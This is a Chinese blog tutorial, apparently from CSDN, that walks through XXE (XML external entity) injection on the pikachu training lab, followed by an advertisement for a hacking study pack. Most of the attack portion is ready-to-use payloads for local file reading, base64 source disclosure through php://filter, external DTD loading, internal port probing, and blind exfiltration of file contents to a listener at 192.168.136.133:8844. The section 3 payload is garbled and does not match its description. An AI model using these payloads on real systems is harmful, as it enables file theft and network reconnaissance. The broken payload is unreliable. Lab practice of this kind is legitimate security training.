XML外部实体注入(XML Extenrnal Entity Injection),简称XXE漏洞。引发XXE漏洞的主要原因是XML解析依赖库libxml默认开启了对外部实体的引用,导致服务端在解析用户提交的XML信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行(利用条件苛刻)内网扫描等危害

在本篇 文章中我们使用pikachu靶场实现XXE漏洞复现
1.POC:攻击测试
在这里,我们先尝试用xml语言定义一个实体,并将其内容定义为“仙男”,然后进行调用,具体的代码如下
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "仙男" > ]>
<foo>&xxe;</foo>
输入后点击提交,发现我们定义的实体内容直接显示在页面上

2.EXP:查看文件
xml漏洞还可以让攻击者直接查看网站所有者计算机中的文件,在这里我们利用file协议去读取一下位于C盘下的1.txt文件内容,具体代码如下
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/1.txt" > ]><foo>&xxe;</foo>
输入后点击提交出现如下页面

3.EXP:查看源码
这一次,我们要查看pikachu靶场下一个文件的源代码,但若是以file和http协议读取.php文件则会报错,因为php文件中含有<>//等特殊字符,xml解析时会当成xml语法进行解析,所以在这里我们可以使用php://filter/read=convert.base64-encode/resource=,将我们获取到的信息先进行base64编码,再将其输出,具体代码如下,(为了举例子,在这里我们仍然查看c盘下的1.txt)
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;
<?xml version="1.0"?>"php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> %remote;
%send;]>
输入后出现如下页面

将其base64解码后即可获得1.txt内容

4.EXP:DTD外部调用
xml漏洞还可以利用dtd文件,从外部调用并查看文件,首先将想要查看的文件写到dtd文件中并保存到web根目录下,与pikachu靶场同级

然后在输入框中输入如下代码,去定义一个参数实体,内容指向我们web目录下的ooo.dtd文件,然后在最后进行调用
<!DOCTYPE foo
[<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://127.0.0.1/ooo.dtd" >
%xxe;
]>
<foo>&evil;</foo>
点击提交后出现如下页面

5.EXP:探测内网存活主机与开放端口
利用xml漏洞,我们还可以查看内网中存活的主机以及其开放的端口,具体代码如下
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80"> ]>
<x>&rabbit;</x>
这里是查看我们的80端口是否开放,如果开放则会立马加载完成页面,如果没开放则会加载一段时间后才恢复正常

6.EXP:无回显探测
上面的文件查看等操作都是在页面有回显的前提下进行的,在这里我们进行一下无回显探测,我们需要用到kali虚拟机。先确保物理机与虚拟机可以连接,然后在kali中开启任意一个端口的监听,这里,我们开启8844端口监听

然后在我们的web根目录下创建一个dtd文件,用于外部调用,ooo.dtd文件的内容如下
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.136.133:8844/?%file;'>">
%start;
这里的url填写虚拟机的ip以及我们监听的端口,然后在c盘下创建一个1.txt文件,我这里的内容为1231
然后构造我们要在输入框中提交的代码,具体代码如下
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://192.168.136.133/ooo.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> %remote;
%send;]>
提交后当页面开始加载时,就可以去看虚拟机监听结果了


问号后面的内容就是1.txt中的内容经过base64编码后的内容


黑客/网络安全学习包


资料目录
-
成长路线图&学习规划
-
配套视频教程
-
SRC&黑客文籍
-
护网行动资料
-
黑客必读书单
-
面试题合集
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
**

**
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

989

被折叠的 条评论
为什么被折叠?



